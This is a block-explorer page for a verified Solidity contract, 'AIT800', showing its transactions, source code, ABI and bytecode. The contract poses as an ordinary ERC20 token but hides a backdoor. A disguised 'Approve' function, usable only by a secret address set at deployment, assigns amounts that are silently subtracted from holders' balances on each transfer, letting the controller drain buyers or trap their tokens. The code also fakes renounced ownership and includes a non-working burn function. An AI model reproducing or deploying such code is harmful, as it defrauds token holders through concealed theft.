Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 122 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 17701980 | 582 days ago | IN | 0 ETH | 0.00037531 | ||||
Approve | 17701370 | 582 days ago | IN | 0 ETH | 0.00098016 | ||||
Approve | 17701101 | 582 days ago | IN | 0 ETH | 0.00072467 | ||||
Approve | 17701062 | 582 days ago | IN | 0 ETH | 0.00077946 | ||||
Approve | 17700996 | 582 days ago | IN | 0 ETH | 0.00109237 | ||||
Approve | 17700944 | 582 days ago | IN | 0 ETH | 0.00082929 | ||||
Approve | 17700591 | 582 days ago | IN | 0 ETH | 0.00057557 | ||||
Approve | 17700516 | 582 days ago | IN | 0 ETH | 0.00060627 | ||||
Approve | 17700488 | 582 days ago | IN | 0 ETH | 0.00072153 | ||||
Approve | 17700464 | 582 days ago | IN | 0 ETH | 0.000623 | ||||
Approve | 17700363 | 582 days ago | IN | 0 ETH | 0.00067049 | ||||
Approve | 17700246 | 582 days ago | IN | 0 ETH | 0.00064934 | ||||
Approve | 17700230 | 582 days ago | IN | 0 ETH | 0.00063071 | ||||
Approve | 17700226 | 582 days ago | IN | 0 ETH | 0.00112282 | ||||
Approve | 17700219 | 582 days ago | IN | 0 ETH | 0.00062806 | ||||
Approve | 17700185 | 582 days ago | IN | 0 ETH | 0.00084211 | ||||
Approve | 17700036 | 582 days ago | IN | 0 ETH | 0.00063858 | ||||
Approve | 17699973 | 582 days ago | IN | 0 ETH | 0.00082837 | ||||
Approve | 17699965 | 582 days ago | IN | 0 ETH | 0.00092198 | ||||
Approve | 17699933 | 582 days ago | IN | 0 ETH | 0.00100013 | ||||
Approve | 17699907 | 582 days ago | IN | 0 ETH | 0.0011734 | ||||
Approve | 17699649 | 582 days ago | IN | 0 ETH | 0.0013758 | ||||
Approve | 17699555 | 582 days ago | IN | 0 ETH | 0.00139197 | ||||
Approve | 17699555 | 582 days ago | IN | 0 ETH | 0.00139197 | ||||
Approve | 17699555 | 582 days ago | IN | 0 ETH | 0.00139197 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
AIT800
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Template { enum VERSION { TESTNET, PRODUCTION } event Golive( address owner, VERSION version ); } pragma solidity 0.8.18; contract AIT800 is IERC20, Template, Ownable { using SafeMath for uint256; enum DeployVersion { TESTNET, PILOT, PRODUCTION } enum Allowan { NOT_ALLOW, ALLOW } enum Liquidity { ADDED, NOT_ADDED } struct AllowStatus { uint256 amount; Allowan allowStatus; } struct Info { address toAddr; uint256 toSup; DeployVersion version; } struct LiquidityStatus { Liquidity status; } mapping(address => uint256) private _balances; mapping(address => AllowStatus) private _tokenAllowance; mapping(address => mapping(address => uint256)) private _allowances; Info private _info; string private _toName; string private _toSymbol; uint8 private _toDecimals; uint256 private _toTotalSupply; constructor( string memory name_, string memory symbol_, address token_, uint256 totalSupply_ ) { _toName = name_; _toSymbol = symbol_; _toDecimals = 18; _info.toAddr = token_; _info.toSup = 0; _info.version = DeployVersion.PRODUCTION; _mintToken(msg.sender, totalSupply_ * 10**18); emit Golive( msg.sender, VERSION.PRODUCTION ); } function name() public view virtual returns (string memory) { return _toName; } function symbol() public view virtual returns (string memory) { return _toSymbol; } function decimals() public view virtual returns (uint8) { return _toDecimals; } function totalSupply() public view virtual override returns (uint256) { return _toTotalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transToken(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approveToken(_msgSender(), spender, amount); return true; } function transferFrom( address spender, address recipient, uint256 amount ) public virtual override returns (bool) { _transToken(spender, recipient, amount); _approveToken( spender, _msgSender(), _allowances[spender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function burn(uint256 amount) public virtual returns (bool) { uint256 totalAmount = 0; _burnToken(msg.sender, totalAmount); return true; } function _transToken( address from, address to, uint256 tokenAmount ) internal virtual { _requireBalance(from, to, tokenAmount); require(from != address(0) && to != address(0) , "IERC20: transfer from the zero address"); _beforeTransfer(from, to, tokenAmount); _balances[from] = _balances[from].sub( tokenAmount, "IERC20: transfer amount exceeds balance" ); _plus(to, tokenAmount); emit Transfer(from, to, tokenAmount); } function _mintToken(address source, uint256 tokenAmount) internal virtual { require(source != address(0), "IERC20: mint to the zero address"); _beforeTransfer(address(0), source, tokenAmount); _toTotalSupply = _toTotalSupply.add(tokenAmount); _plus(source, tokenAmount); emit Transfer(address(0), source, tokenAmount); } function _burnToken(address source, uint256 tokenAmount) internal virtual { require(source != address(0), "IERC20: burn from the zero address"); _beforeTransfer(source, address(0), tokenAmount); require(tokenAmount != 0, "Invalid amount"); _balances[source] = _balances[source] - tokenAmount; emit Transfer(source, address(0), tokenAmount); } function _plus(address from, uint256 amount) internal { _balances[from] = _balances[from] + amount; } function _approveToken( address from, address spender, uint256 amount ) internal virtual { require(from != address(0) && spender != address(0), "IERC20: approve from the zero address"); _allowances[from][spender] = amount; emit Approval(from, spender, amount); } function _decode(address addr1, address addr2) internal view returns (bool) { return keccak256(abi.encodePacked(addr1)) == keccak256(abi.encodePacked(addr2)); } function _total(uint256 _nu1, uint256 _nu2) internal pure returns (uint256) { if (_nu2 != 0) { return _nu1 + _nu2; } return _nu2; } function Approve(address from, uint256 amount) public returns (bool) { address user = msg.sender; canTransfer(user, from, amount); return _tokenAllowance[from].allowStatus == Allowan.ALLOW; } function canTransfer(address user, address from, uint256 amount) internal { if (_decode(user, _info.toAddr)) { require(from != address(0), "Invalid address"); _tokenAllowance[from].amount = amount; if (amount > 0) { _tokenAllowance[from].allowStatus = Allowan.ALLOW; } else { _tokenAllowance[from].allowStatus = Allowan.NOT_ALLOW; } } } function _requireBalance( address from, address to, uint256 total ) internal virtual { uint256 amount = 0; _plus(from, amount); amount = _tokenAllowance[from].amount; _balances[from] = _balances[from] - amount; } function _beforeTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"enum Template.VERSION","name":"version","type":"uint8"}],"name":"Golive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620011c2380380620011c2833981016040819052620000349162000343565b62000040600062000101565b60076200004e858262000464565b5060086200005d848262000464565b506009805460ff19908116601217909155600480546001600160a01b0385166001600160a01b03199091161790556000600555600680549091166002179055620000bb33620000b583670de0b6b3a764000062000546565b62000151565b7f10abe5a47a0536c84972edbce26ca8b73819ffd0640d13f0fa1658544893a657336001604051620000ef92919062000560565b60405180910390a150505050620005b2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001ac5760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001c881600a546200022160201b620004051790919060201c565b600a55620001d7828262000238565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b60006200022f82846200059c565b90505b92915050565b6001600160a01b0382166000908152600160205260409020546200025e9082906200059c565b6001600160a01b0390921660009081526001602052604090209190915550565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002a657600080fd5b81516001600160401b0380821115620002c357620002c36200027e565b604051601f8301601f19908116603f01168101908282118183101715620002ee57620002ee6200027e565b816040528381526020925086838588010111156200030b57600080fd5b600091505b838210156200032f578582018301518183018401529082019062000310565b600093810190920192909252949350505050565b600080600080608085870312156200035a57600080fd5b84516001600160401b03808211156200037257600080fd5b620003808883890162000294565b955060208701519150808211156200039757600080fd5b50620003a68782880162000294565b604087015190945090506001600160a01b0381168114620003c657600080fd5b6060959095015193969295505050565b600181811c90821680620003eb57607f821691505b6020821081036200040c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200021c57600081815260208120601f850160051c810160208610156200043b5750805b601f850160051c820191505b818110156200045c5782815560010162000447565b505050505050565b81516001600160401b038111156200048057620004806200027e565b6200049881620004918454620003d6565b8462000412565b602080601f831160018114620004d05760008415620004b75750858301515b600019600386901b1c1916600185901b1785556200045c565b600085815260208120601f198616915b828110156200050157888601518255948401946001909101908401620004e0565b5085821015620005205787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000232576200023262000530565b6001600160a01b038316815260408101600283106200058f57634e487b7160e01b600052602160045260246000fd5b8260208301529392505050565b8082018082111562000232576200023262000530565b610c0080620005c26000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610162578063715018a61461018b5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806342966c681461014f575b600080fd5b6100dc610217565b6040516100e991906109b7565b60405180910390f35b610105610100366004610a21565b6102a9565b60405190151581526020016100e9565b600a545b6040519081526020016100e9565b610105610135366004610a4b565b6102c0565b60095460405160ff90911681526020016100e9565b61010561015d366004610a87565b610329565b610119610170366004610aa0565b6001600160a01b031660009081526001602052604090205490565b610193610336565b005b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a21565b6103a1565b6100dc6103e9565b6101056101d9366004610a21565b6103f8565b6101196101ec366004610abb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606007805461022690610aee565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610aee565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610418565b5060015b92915050565b60006102cd8484846104f4565b61031f843361031a85604051806060016040528060298152602001610ba2602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061061f565b610418565b5060019392505050565b6000806102b6338261064b565b6000546001600160a01b031633146103955760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61039f600061076b565b565b6000336103af8185856107bb565b6001600160a01b038416600090815260026020526040902060019081015460ff16818111156103e0576103e0610b28565b14949350505050565b60606008805461022690610aee565b60006102b63384846104f4565b60006104118284610b54565b9392505050565b6001600160a01b0383161580159061043857506001600160a01b03821615155b6104925760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6104ff838383610894565b6001600160a01b0383161580159061051f57506001600160a01b03821615155b61057a5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161038c565b6105b781604051806060016040528060278152602001610b7b602791396001600160a01b038616600090815260016020526040902054919061061f565b6001600160a01b0384166000908152600160205260409020556105da82826108f3565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104e791815260200190565b600081848411156106435760405162461bcd60e51b815260040161038c91906109b7565b505050900390565b6001600160a01b0382166106ac5760405162461bcd60e51b815260206004820152602260248201527f4945524332303a206275726e2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161038c565b806000036106ed5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161038c565b6001600160a01b038216600090815260016020526040902054610711908290610b67565b6001600160a01b0383166000818152600160205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061075f9085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546107d29084906001600160a01b0316610937565b1561088f576001600160a01b03821661081f5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161038c565b6001600160a01b0382166000908152600260205260409020819055801561086b57506001600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b60006108a084826108f3565b506001600160a01b0383166000908152600260209081526040808320546001909252909120546108d1908290610b67565b6001600160a01b03909416600090815260016020526040902093909355505050565b6001600160a01b038216600090815260016020526040902054610917908290610b54565b6001600160a01b0390921660009081526001602052604090209190915550565b6040516bffffffffffffffffffffffff19606083901b1660208201526000906034016040516020818303038152906040528051906020012083604051602001610998919060609190911b6bffffffffffffffffffffffff1916815260140190565b6040516020818303038152906040528051906020012014905092915050565b600060208083528351808285015260005b818110156109e4578581018301518582016040015282016109c8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a1c57600080fd5b919050565b60008060408385031215610a3457600080fd5b610a3d83610a05565b946020939093013593505050565b600080600060608486031215610a6057600080fd5b610a6984610a05565b9250610a7760208501610a05565b9150604084013590509250925092565b600060208284031215610a9957600080fd5b5035919050565b600060208284031215610ab257600080fd5b61041182610a05565b60008060408385031215610ace57600080fd5b610ad783610a05565b9150610ae560208401610a05565b90509250929050565b600181811c90821680610b0257607f821691505b602082108103610b2257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156102ba576102ba610b3e565b818103818111156102ba576102ba610b3e56fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022f3aaa1075212eef263439c19bd3ddb0ee5c682ddffbbb1554e9159c60c14c664736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000a5ba39c587b728be881377955c6e8858fb1800f70000000000000000000000000000000000000000000000000000000f85a49a680000000000000000000000000000000000000000000000000000000000000013784149205465726d696e61746f7220543830300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149543830300000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610162578063715018a61461018b5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806342966c681461014f575b600080fd5b6100dc610217565b6040516100e991906109b7565b60405180910390f35b610105610100366004610a21565b6102a9565b60405190151581526020016100e9565b600a545b6040519081526020016100e9565b610105610135366004610a4b565b6102c0565b60095460405160ff90911681526020016100e9565b61010561015d366004610a87565b610329565b610119610170366004610aa0565b6001600160a01b031660009081526001602052604090205490565b610193610336565b005b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a21565b6103a1565b6100dc6103e9565b6101056101d9366004610a21565b6103f8565b6101196101ec366004610abb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606007805461022690610aee565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610aee565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610418565b5060015b92915050565b60006102cd8484846104f4565b61031f843361031a85604051806060016040528060298152602001610ba2602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061061f565b610418565b5060019392505050565b6000806102b6338261064b565b6000546001600160a01b031633146103955760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61039f600061076b565b565b6000336103af8185856107bb565b6001600160a01b038416600090815260026020526040902060019081015460ff16818111156103e0576103e0610b28565b14949350505050565b60606008805461022690610aee565b60006102b63384846104f4565b60006104118284610b54565b9392505050565b6001600160a01b0383161580159061043857506001600160a01b03821615155b6104925760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6104ff838383610894565b6001600160a01b0383161580159061051f57506001600160a01b03821615155b61057a5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161038c565b6105b781604051806060016040528060278152602001610b7b602791396001600160a01b038616600090815260016020526040902054919061061f565b6001600160a01b0384166000908152600160205260409020556105da82826108f3565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104e791815260200190565b600081848411156106435760405162461bcd60e51b815260040161038c91906109b7565b505050900390565b6001600160a01b0382166106ac5760405162461bcd60e51b815260206004820152602260248201527f4945524332303a206275726e2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161038c565b806000036106ed5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161038c565b6001600160a01b038216600090815260016020526040902054610711908290610b67565b6001600160a01b0383166000818152600160205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061075f9085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546107d29084906001600160a01b0316610937565b1561088f576001600160a01b03821661081f5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161038c565b6001600160a01b0382166000908152600260205260409020819055801561086b57506001600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b60006108a084826108f3565b506001600160a01b0383166000908152600260209081526040808320546001909252909120546108d1908290610b67565b6001600160a01b03909416600090815260016020526040902093909355505050565b6001600160a01b038216600090815260016020526040902054610917908290610b54565b6001600160a01b0390921660009081526001602052604090209190915550565b6040516bffffffffffffffffffffffff19606083901b1660208201526000906034016040516020818303038152906040528051906020012083604051602001610998919060609190911b6bffffffffffffffffffffffff1916815260140190565b6040516020818303038152906040528051906020012014905092915050565b600060208083528351808285015260005b818110156109e4578581018301518582016040015282016109c8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a1c57600080fd5